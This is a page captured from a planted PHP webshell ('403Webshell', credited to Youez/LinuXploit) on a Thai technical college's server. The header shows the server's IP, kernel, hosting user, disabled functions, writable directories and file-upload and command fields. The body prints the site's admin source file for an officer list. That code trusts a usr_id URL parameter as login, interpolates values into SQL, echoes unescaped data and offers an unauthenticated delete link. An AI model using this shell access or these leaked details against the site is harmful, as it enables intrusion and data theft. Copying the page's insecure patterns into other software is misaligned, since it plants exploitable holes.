403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/technicrayong.ac.th/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/technicrayong.ac.th/private_html/off_page.php
<!DOCTYPE html>
<html lang="en">

<head>
<?php 
include('connect.php');

	if(isset($_GET['usr_id'])){$usr_id=$_GET['usr_id'];}
	if(isset($_POST['usr_id'])){$usr_id=$_POST['usr_id'];}

if(empty($usr_id)){
    //echo "OMG";
   Header("Location: login.php");

}else{ 

?>
  <meta charset="utf-8">
  <meta content="width=device-width, initial-scale=1.0" name="viewport">

  <title>Rayong Technical College</title>
  <meta content="" name="description">
  <meta content="" name="keywords">

  <!-- Favicons -->
  <link href="assets/img/logo.png" rel="icon">
  <link href="assets/img/logo.png" rel="apple-touch-icon">
      <link href="./plugins/tables/css/datatable/dataTables.bootstrap4.min.css" rel="stylesheet">

  <!-- Google Fonts -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">

  <!-- Vendor CSS Files -->
  <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="assets/vendor/icofont/icofont.min.css" rel="stylesheet">
  <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="assets/vendor/venobox/venobox.css" rel="stylesheet">
  <link href="assets/vendor/animate.css/animate.min.css" rel="stylesheet">
  <link href="assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="assets/vendor/owl.carousel/assets/owl.carousel.min.css" rel="stylesheet">
  <link href="assets/vendor/bootstrap-datepicker/css/bootstrap-datepicker.min.css" rel="stylesheet">

  <!-- Template Main CSS File -->
  <link href="assets/css/style.css" rel="stylesheet">

  <!-- =======================================================
  * Template Name: Medilab - v2.1.1
  * Template URL: https://bootstrapmade.com/medilab-free-medical-bootstrap-theme/
  * Author: BootstrapMade.com
  * License: https://bootstrapmade.com/license/
  ======================================================== -->
</head>

<body>

<?php 
include('topbar.php');
include('headers.php');
include('connect.php'); 
?>

  <!-- ======= Hero Section ======= -->


  <main id="main">

    <!-- ======= Breadcrumbs Section ======= -->
    <section class="breadcrumbs">
      <div class="container">

        <div class="d-flex justify-content-between align-items-center">
          <h2>อัพเดทเจ้าหน้าที่</h2>
          <ol>
            <li><a href="admin_page.php">หน้าหลัก</a></li>
            <li>อัพเดทเจ้าหน้าที่</li>
          </ol>
        </div>

      </div>
    </section><!-- End Breadcrumbs Section -->

	<?php include('head.php'); ?>
  </main><!-- End #main -->

   <section class="inner-page">
      <div class="container">
				<table class="table table-striped table-bordered zero-configuration">
		                        <thead>
		                            <tr>
		                                <th></th>
		                                <th>รายชื่อ</th>
										<th>งาน</th>
										<th></th>										
																			
		                            </tr>
		                        </thead>
		                        <tbody>
							<?php 
								$sql = "SELECT * FROM officer where off_st='1'"; 
								//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
								$result=mysqli_query($conn,$sql);	
								if(mysqli_num_rows($result) > 0){
									while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
										$off_id=$row['off_id'];
										$off_name=$row['off_name'];
										$off_pic=$row['off_pic'];
										$off_unit=$row['off_unit'];
										
										$sqly = "SELECT * FROM unit where unit_id='$off_unit'"; 
														//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
														$resulty=mysqli_query($conn,$sqly); 
														if(mysqli_num_rows($resulty) > 0){
														$rowy = mysqli_fetch_array($resulty,MYSQLI_ASSOC);					
															$unit_name=$rowy['unit_name'];
															$unnitname="เจ้าหน้าที่".$unit_name;
														}
										
								
							?> 		
									<tr>
			                                <td><img src="officer/<?php echo $off_pic ;?>" height="120" width="100" class="testimonial-img" alt=""></td>
			                                <td><?php echo "<a href=\"off_edit.php?off_id=".$off_id."&usr_id=".$usr_id."\">$off_name</a>\n";?></td>
											<td><?php echo "<a href=\"off_edit.php?off_id=".$off_id."&usr_id=".$usr_id."\">$unnitname</a>\n"; ?></td>
											<td><a href="off_delete.php?off_id=<?php echo $off_id ;?>"><i class="icofont-ui-delete"></i></a></td>
			                        </tr>
							<?php 	}
								}?>									
		                        </tbody>               
				</table>
     	</div>
    </section>


<?php include('footer.php');
}
?>

  <div id="preloader"></div>
  <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a>

  <!-- Vendor JS Files -->
  <script src="assets/vendor/jquery/jquery.min.js"></script>
  <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
  <script src="assets/vendor/jquery.easing/jquery.easing.min.js"></script>
  <script src="assets/vendor/php-email-form/validate.js"></script>
  <script src="assets/vendor/venobox/venobox.min.js"></script>
  <script src="assets/vendor/waypoints/jquery.waypoints.min.js"></script>
  <script src="assets/vendor/counterup/counterup.min.js"></script>
  <script src="assets/vendor/owl.carousel/owl.carousel.min.js"></script>
  <script src="assets/vendor/bootstrap-datepicker/js/bootstrap-datepicker.min.js"></script>
  
    <script src="./plugins/tables/js/jquery.dataTables.min.js"></script>
    <script src="./plugins/tables/js/datatable/dataTables.bootstrap4.min.js"></script>
    <script src="./plugins/tables/js/datatable-init/datatable-basic.min.js"></script>

  <!-- Template Main JS File -->
  <script src="assets/js/main.js"></script>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit